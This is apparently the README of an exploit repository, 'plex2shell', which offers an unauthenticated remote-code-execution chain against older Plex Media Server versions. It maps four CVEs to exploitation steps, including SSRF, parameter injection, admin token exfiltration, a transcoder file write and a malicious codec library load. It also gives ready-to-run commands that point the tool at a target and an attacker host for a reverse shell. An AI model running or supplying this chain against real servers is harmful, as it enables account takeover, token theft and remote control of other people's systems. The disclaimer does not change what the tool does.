Repository
plex2shell
CVE-2026-96652 CVE-2026-96654 CVE-2026-96655 CVE-2026-96656
plex2shell
Unauth RCE chain for Plex Media Server 1.43.3.10828 and older.
CVSS 3.1: 10.0 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Write-up: https://zmain.info/blog/plex2shell
Disclaimer
This tool is published for authorized security testing, academic research, and defensive purposes only. Use it only against systems you own or have explicit written permission to test. The authors are not responsible for misuse or damage caused by this tool. Unauthorized access to computer systems is illegal.
CVEs
| CVE | Primitive |
|---|---|
| CVE-2026-96652 | Unauthenticated SSRF via /player/timeline protocol= |
| CVE-2026-96654 | Loopback pivot: dead auth guard + searchOne identifier= injection |
| CVE-2026-96655 | Owner-authed transcoder SSRF + arbitrary-path file write (dump-yuv) |
| CVE-2026-96656 | Code execution via unsigned codec dlopen in the Codecs set-dir |
Chain
[bare internet, junk token]
|
(1) /player/timeline --- SSRF ---> loopback origin
|
(2) /system/agents/.../searchOne --- identifier= injection --->
| cross-plugin RPC
|
(3) networking.py:149 --- 127.0.0.1.* prefix confusion --->
| owner admin token exfil
v
attacker holds the OWNER admin token
|
(4) /video/:/transcode/universal?path=<url> --- transcoder SSRF --->
| fetch attacker media
|
(5) TranscoderH264Options=dump-yuv --- x264 writes attacker ELF
| into Codecs set-dir
v
second transcode -> dlopen()s every *.so -> constructor runs
v
[uid=1000(plex)]
Prerequisites
- Python 3.8+,
ffmpeg,gcc(orx86_64-w64-mingw32-gccfor Windows targets) - Attacker host reachable from the target (media fetch + reverse shell)
Usage
# Linux native (.deb/.rpm):
python3 plex2shell.py --target 10.0.0.5:32400 --attacker-ip 10.0.0.9
# Docker:
python3 plex2shell.py --target-os linux-docker --target 10.0.0.5:32400 --attacker-ip 10.0.0.9
# Windows:
python3 plex2shell.py --target-os windows --target 10.0.0.5:32400 --attacker-ip 10.0.0.9
# One-shot:
python3 plex2shell.py --target 10.0.0.5:32400 --attacker-ip 10.0.0.9 --exec "id; hostname"
--help for everything else.
License
GPLv3